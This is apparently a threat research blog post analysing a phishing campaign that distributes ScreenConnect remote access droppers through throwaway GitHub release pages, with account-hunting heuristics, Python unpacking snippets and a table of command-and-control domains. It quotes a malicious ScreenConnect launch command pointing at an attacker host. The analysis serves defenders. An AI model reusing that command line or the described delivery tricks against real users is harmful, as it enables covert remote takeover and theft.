Malware in the Shell: When the Phishing Link Points to GitHub

15 min read Original article ↗

October 11, 2026 phishing malware reverse threat actor 19 minutes to read

Long gone are the days when you could smell a phishing email miles away. In the AI era, you can no longer trust poor spelling and grammar to identify a threat, you need to look at the email sender, headers and other more subtle information. However, the goal remains the same: stealing personal data, credentials, crypto, and/or compromising users’ machines. Today’s kicker was an email about a firmware update for a crypto wallet, which baited me into digging, expecting to find something novel. Spoiler: it was not new, it was the same old tricks under a new hood.

Disclaimer: DCENT, Uphold and any other brand mentioned are not in any way affiliated with this research nor its outcomes.

You’ve got mail!

Let’s start with the phishing emails. Both are very well crafted, but there is a big difference in maturity: the DCENT email is really low effort in terms of verification, the button points directly to the download of the GitHub hosted release malware (https://github.com/<user>/<repository>/releases/download/12/DCent-Firmware_Update.bat), while the Uphold email redirects us to a Cloudflare protected page.

DCENT wallet phishing email

Uphold tax phishing email

After checking all the flags to make the Cloudflare bot verification page happy, we can get to the webpage that allows us to get the payload. There are also some particularities here: the link used is not a straight link to the GitHub release, but a download link that points directly to the GitHub CDN (https://release-assets.githubusercontent.com/github-production-release-asset/<repository-identifier>/<file_hash>), and the webpage already gives some context to the user: the document will be verified via DocuSign.

Uphold tax phishing site

While some deeper analysis on the emails, webpage content, domains, etc. could be done, that will not be the focus of this note, as such explorations were already done in the past, and typically either point to newly registered domains and/or compromised mail servers, but, once again, for my own sanity, let’s move on and focus on the GitHub part and the malware samples.

Who are you, GitHub user?

So, let’s rewind. If someone is using GitHub to spread malware, either they are using compromised GitHub accounts (which would seem to be too much work just for some random phishing), or they are creating and using new accounts (which, from previous experience of creating new accounts, wouldn’t be that easy given the latest checks that GitHub does for new accounts to reduce bot accounts). So let’s see what they are doing, shall we?

By using the GitHub API (https://api.github.com/repositories/<repository_id>) we can easily fetch the full_name (<user_name>/<repository_name>) of the repository by using the repository ID, which is part of the URL in the case of the CDN link, and for the other one, well, the user is right in the URL from the start.

So, we get two GitHub profiles. They are complete shell accounts and, surprise surprise, have not existed for long. The oldest one being only two weeks old. This suggests that the operators created or acquired accounts specifically for short-lived distribution. One thing that was clear from the start is that the accounts are pretty similar, and here is the asset list of both accounts.

The DCENT targeting account

repo tag asset size (bytes) uploaded
1 1 Airgap_Desktop.bat 12053642 2026-10-05T12:38:57Z
2 2 Bifrost_Desktop.bat 12053642 2026-10-05T12:40:23Z
3 3 Bitkey_Desktop.bat 12053642 2026-10-05T12:42:30Z
4 4 Bittensor.bat 12053642 2026-10-05T12:44:12Z
5 5 Core_Desktop.bat 12053642 2026-10-05T12:45:30Z
6 6 Crucible_Desktop.bat 12053642 2026-10-05T12:47:18Z
7 7 DCENT_Desktop.bat 12053642 2026-10-05T12:48:36Z
8 8 Keplr_Desktop.bat 12053642 2026-10-05T12:49:41Z
9 9 Luminite.bat 12053642 2026-10-05T12:51:22Z
10 10 Strike_Desktop.bat 12053642 2026-10-05T12:52:35Z
12 12 DCent-Firmware_Update.bat 12053642 2026-10-05T14:03:27Z

All 11 releases carry the same file (identical hash), only the name changes to match the brand being targeted. Repo 11 was never found.

The Uphold targeting account

repo tag asset size (bytes) uploaded
zecc zec1.0 ZCASH-Desktop-Installer.zip 8651834 2026-09-26T03:41:19Z
xdddc xdckycv.0.1 XDC-KYC-Transcript.zip 8617058 2026-09-26T03:55:05Z
ms5 v65 Curve-Asset-Review.zip 8616990 2026-09-29T15:14:20Z
pantera v26 PanteraCapital-2026-Crypto-Tax-Documents-DocuSign.zip 8617052 2026-10-03T03:22:30Z
iot vtax Iota-2026-Crypto-Tax-Documents-DocuSign.zip 8617032 2026-10-04T03:07:06Z
uphol v26 Uphold-2026-Tax-Transcript.zip 8651894 2026-10-09T02:30:30Z

What made the accounts look alike is that both accounts fit the following heuristics:

  • Default GitHub-generated profile picture
  • All repositories have a single default README.md (which is created with the repo creation)
  • All repositories have a single release (in this case .zip or .bat)
  • No activity of any kind (zero stars, zero followers, etc.)

And the question arose, is this enough to leverage the GitHub API / GraphQL to scan recent repositories and profile the users to get more similar users carrying the same or similar phishing activities? Moreover, are they using the same tactics for infection as they are for spreading?

The Hunt

So, the next step was to try to create something that, based on our two sample cases, could search any repository on GitHub for a similar footprint. However, that’s no easy feat due to several reasons, the most prevalent being the limits of the GitHub API in terms of search by release type and the rate limits. However, nothing like putting our OpenCode to work and trying to craft something.

The result was a script (which can be found on this gist) that goes after throwaway accounts on GitHub. It uses the GitHub search API for public repositories with zero stars and zero forks created inside a time window (e.g. the last two hours). To avoid the search cap of 1000 results, the script splits the time window until the result count is smaller than a thousand.

A cheap first filter on the search payload drops every repo with a language, license, Pages site, description or homepage, anything owned by an organization, and, by default, any repo whose name is not a single alphanumeric token of 9 characters or fewer. This is not the best ruleset, but it is the only way to make this work reasonably well based on our samples.

The filtered candidates of the first round go through a strict shell test: a single root README.md of at most 120 bytes, at most 3 commits, a title-only README and no topics. Only after that comes the owner check, where every public repo the account owns must also be a shell and there must be no profile README repo. Accounts with exactly one shell repo, or a fresh shell with no release yet, go to a plain list of profile URLs, which catches the stage before the payload is attached (theoretically, these can just be new normal accounts…). Shells with exactly one release containing one .bat, .exe, .msi, .zip, .rar, .7z or .iso asset get scored against the sizes, names, brands and lure words from our two samples, and those end up in a CSV and a results file.

The output contains lots of false positives, and the script is really slow in large time windows, but it works well enough to catch some examples (and some other curious cases of malicious activity that are not malware1).

All Your Sample are Belong to Us

I ran the script several times over the weekend (I received the DCent phishing email on 07/10/2026), from Friday (09/10/2026) until Sunday (11/10/2026), on a mix of short and long time windows with varying name patterns and extension lists. In total it flagged 8 accounts, which includes the two original ones. Downloading every release asset (script on gist) from them gave us 151 files and, after hashing, only 43 unique samples (as several releases contained exactly the same file under a different name). Most of the files are copies of each other, which is already a hint about how these actors work.

account origin files contents
nancylynn594-a*** DCENT seed 11 11 .bat
kimblyx*** Uphold seed 6 6 .zip
muskcointeam-*** new 99 52 .bat, 44 .exe, 3 .zip
pauls*** new 23 13 .bat, 10 .zip
silvermal*** new 6 6 .exe
trvor323*** new 4 4 .msi
kabeer2*** new 1 1 .exe (146 MB)
Zain*** new 1 1 .exe (164 MB)

The muskcointeam-*** and pauls*** accounts look like cousins of the original two: same shell profile, same one-release-per-repo pattern, and the same kind of lures (DocuSign, tax documents, crypto brands), with .bat files and .zip files wrapping a .bat. The first one is the big one, and the .exe files in it are a new twist compared to our seeds.

The other four accounts do not look like the same campaign. silvermal*** has PyInstaller builds and a small .NET tool, trvor323*** has .msi files, and kabeer2*** and Zain*** are one huge installer each, which is a strange size for a throwaway account. Whether they are related or just other curious corners of GitHub is what the malware analysis is for, so let’s unpack them.

Down the RAT hole we go

I started with static analysis only, unpacking everything without executing a single file, and detonated a few samples on ANY.RUN afterwards to confirm what the static work suggested. All the samples told different strands of the same story: a ScreenConnect remote access client, wrapped in different packaging. The lure changes (DCENT firmware, tax documents, crypto brands) and so does the wrapper, but the end result is a remote access tool installed silently on the victim’s machine with some masquerade on top.

There were three styles of wrapping and packaging, which I will call A, B and C from here on. Style A dumps base64 blobs into a temp folder and adds a Windows Defender exclusion for it, which is the noisiest of the three. Style B is the one from our DCENT email, a simple .bat that asks for privileges, extracts two embedded blobs, checks their SHA-256 against hardcoded values (it seems that now even the attackers care to verify their own payload) and runs everything hidden. Style C is a minimal .bat that decodes a single blob into an NSIS installer and leaves the rest to it. The .zip lures are just one of these .bat files in a DocuSign-themed box (the unpacking details, and the AI usage to uncover them faster, are in the section below).

Now the part I found most curious when compared to some analysis that I did in the past. The second stage in almost every package is a completely legitimate DocuSign installer. While the victim watches a believable DocuSign installation (some variants even pop up a fake progress window), the ScreenConnect MSI is executed with the user never noticing without looking carefully to the process tree.

Fake DocuSign installer window

The sandbox runs confirmed both sides of the trick: the DocuSign facade the victim sees, and the ScreenConnect client installing alongside it. The process is executed as SYSTEM and invoked with the C2 instructions "C:\Program Files (x86)\ScreenConnect Client (008c4a1933454b9c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=icemento.com&p=8041&s=37fcfe6d-d11f-4cf3-b5b0-880ba66512b5&k=....". The C2 host can be also seen in the network activity, but the host was already down at the time of analysis. Among all samples, 7 MSI builds were found pointing at 6 different C2 domains, and every one of them uses port 8041. Also, each GitHub account maps to one C2 (except muskcointeam*** that has two different C2 configured), which fits one operator (or a shared builder service) rotating infrastructure per wave. All the C2 that were still online during this research were being hosted in AS931 from Hyonix, a VPS provider.

C2 (from MSI system.config) DNS status (as of 11/10/2026) Resolved IP :8041 Wave
drotdserty[.]com:8041 NOERROR 38.240.36.*** OPEN pauls***
gdgeniev[.]top:8041 NOERROR 178.173.239.*** OPEN kimblyx***
luegner[.]top:8041 NOERROR 155.254.99.*** OPEN muskcoint***
icemento[.]com:8041 NXDOMAIN — dead wave 1 (nancyl***)
sumycina[.]top:8041 NXDOMAIN — dead style-A bat (Calendly)
churchoflife[.]io:8041 NXDOMAIN — dead style-C NSIS + musk 21 MB

But not all that we found hosted on GitHub fits to this style of campaign. The accounts from the second group share no code or infrastructure with it. They hold a signed GoTo Resolve installer under a spoofed filename (legitimate software abused as a remote access tool, the same trick as DocuSign), MSIs named like PDF documents that install an RMM agent, a tool that replays a Roblox session with live cookies, and two huge unsigned installers that were not analyzed.

Peeling the Onion

FYI: the unpacking scripts in this section were written with the help of OpenCode. I described what each dropper looked like, the assistant wrote and iterated on the extractors, and I reviewed the output and fact-checked against live executions on ANY.RUN. Treat the snippets as one-off analysis code, not as production tooling.

Everything in this section is static analysis: no sample was executed to get here, only later with ANY.RUN. The script carries a different analysis per file type. All the scripts can be found here (generated code, use with care).

Identified block Explanation
MZ header PE file, parsed with pefile (version info like ProductName and FileDescription gives away things like “SC FeedbackTool” or “GoTo Resolve”)
D0 CF 11 E0 header OLE/CFB container, which means an MSI, extracted with 7z x
NullsoftInst, PyInstaller, Inno Setup, _CorExeMain NSIS, PyInstaller, Inno Setup and .NET binaries
DocuSign, Inc. in the PE strings the second-stage installer
HTA title “DocuSign Setup” the fake progress window

Now the droppers. Styles A, B and C are the ones introduced in the previous section, and the snippets below go from the easiest to the most annoying, so the order is B, C and then A. They are trimmed excerpts, where text is the content of the batch file and lines is the same content split by line.

Style B: marker-delimited blobs. This is the one from the DCENT email. The payloads sit between ###MSI_BEGIN### / ###MSI_END### and ###EXE_BEGIN### / ###EXE_END###, so a lazy regex does most of the work. The dropper also hardcodes the SHA-256 of each blob and checks it with Get-FileHash, which gives us a free integrity check: if the hash of what I extracted matches, the extraction is correct.

# style B: marker-delimited base64
msi_match = re.search(r'###MSI_BEGIN###\s*(.*?)\s*###MSI_END###', text, re.DOTALL)
msi_b64   = re.sub(r'\s+', '', msi_match.group(1))     # strip newlines before decoding
msi_data  = base64.b64decode(msi_b64)
print(f"MSI: {hashlib.sha256(msi_data).hexdigest()}")  # compare with the dropper's Get-FileHash value

Style C: one big blob. A minimal .bat where the payload sits between the first and the last ::B64EOF:: marker. The marker string also shows up inside the PowerShell one-liner that reads the file, so only lines that are exactly the marker count, and the payload is whatever sits between the first and the last of those.

# style C: payload lies between the first and the last marker line
idx = [i for i, l in enumerate(lines) if l.strip() == "::B64EOF::"]
payload = base64.b64decode(re.sub(r"\s+", "", "".join(lines[idx[0]+1:idx[-1]])))

Style A: block echo, no markers. The noisy one with the Defender exclusion. There is nothing to bracket, because the base64 is written to disk through blocks of echo lines that end with a redirect to !MB!, !EB! or !HB! (MSI, EXE and HTA targets). Searching for a bare > matches thousands of unrelated lines, so the regex anchors on those targets, and the script then walks backwards from the redirect to the opening ( to recover the block.

# style A: recover the ( ... >> "!MB!") block by walking back from the redirect line
# (ln is the current line and i its index)
m = re.search(r'>+\s*"?!([MEH])B!"\s*$', ln)           # MB / EB / HB = msi / exe / hta targets
j, depth, started = i, 0, False
while j >= 0:                                          # walk up to the opening "("
    depth += lines[j].count("(") - lines[j].count(")")
    if "(" in lines[j]: started = True
    if started and depth <= 0: break
    j -= 1
b64 = "".join(l[5:] if l.startswith("echo.") else l[4:] for l in lines[j+1:i])

The .zip lures are the easy part: zipfile opens them, and the inner .bat goes through the same three strategies. The NSIS wrappers are listed with 7z l and extracted with 7z x (7z detects the NSIS type by itself), so $PLUGINSDIR and $TEMP can be read without ever running the installer.

The last piece is the C2. Every ScreenConnect MSI is extracted with 7z x, and the launch parameters live in the system.config file, inside the ClientLaunchParametersConstraint value. It is the same string we saw on the process command line in the sandbox, and it is why I can say that all 7 builds share port 8041.

# C2 from any ScreenConnect MSI (7z x, then read system.config)
# the value looks like: ?h=<host>&p=8041&k=<RSA session key blob>
c2 = re.search(r'\?h=([^&]+)&p=(\d+)', open(cfg).read())   # -> ("icemento.com", "8041")

The k= value (a per-server RSA session key) differs from build to build, so it works as a fingerprint of the build behind each C2.

Summary

This investigation was based on a search seeded by two accounts and limited to the repositories, releases, and time window examined. It should be considered a “best-effort” view of the activity. Nonetheless, it is evident that GitHub releases feature is still being abused by threat actors to spread malware, which is not novel. The findings align with broader reporting on GitHub abuse for malware distribution, including research from Cofense, Cisco Talos, and Check Point.

The closest technical parallel is the COLDCARD hardware-audit campaign, reported by BleepingComputer and gblock, which similarly combines cryptocurrency-themed lures, GitHub-hosted batch files, ScreenConnect, and a legitimate DocuSign installer as a decoy2.

Together, these references place the observed activity within an established pattern of abusing trusted platforms and legitimate remote-access software for malware delivery (as we have seen in some other analysis of using trusted RMM software as a RAT). Although the COLDCARD campaign presents a particularly close parallel, the available evidence does not establish a shared operator or builder. Likewise, across the analyzed samples, the recurring ScreenConnect components, similar packaging techniques, same C2 VPS hosting, and shared use of TCP port 8041 support treating these activities as a related cluster. These overlaps are consistent with a common operator or shared tooling, but do not independently establish common attribution.

As a final note, all the GitHub users identified during this research were reported, and their accounts (along with the hosted repositories and releases) were taken down in around 48h.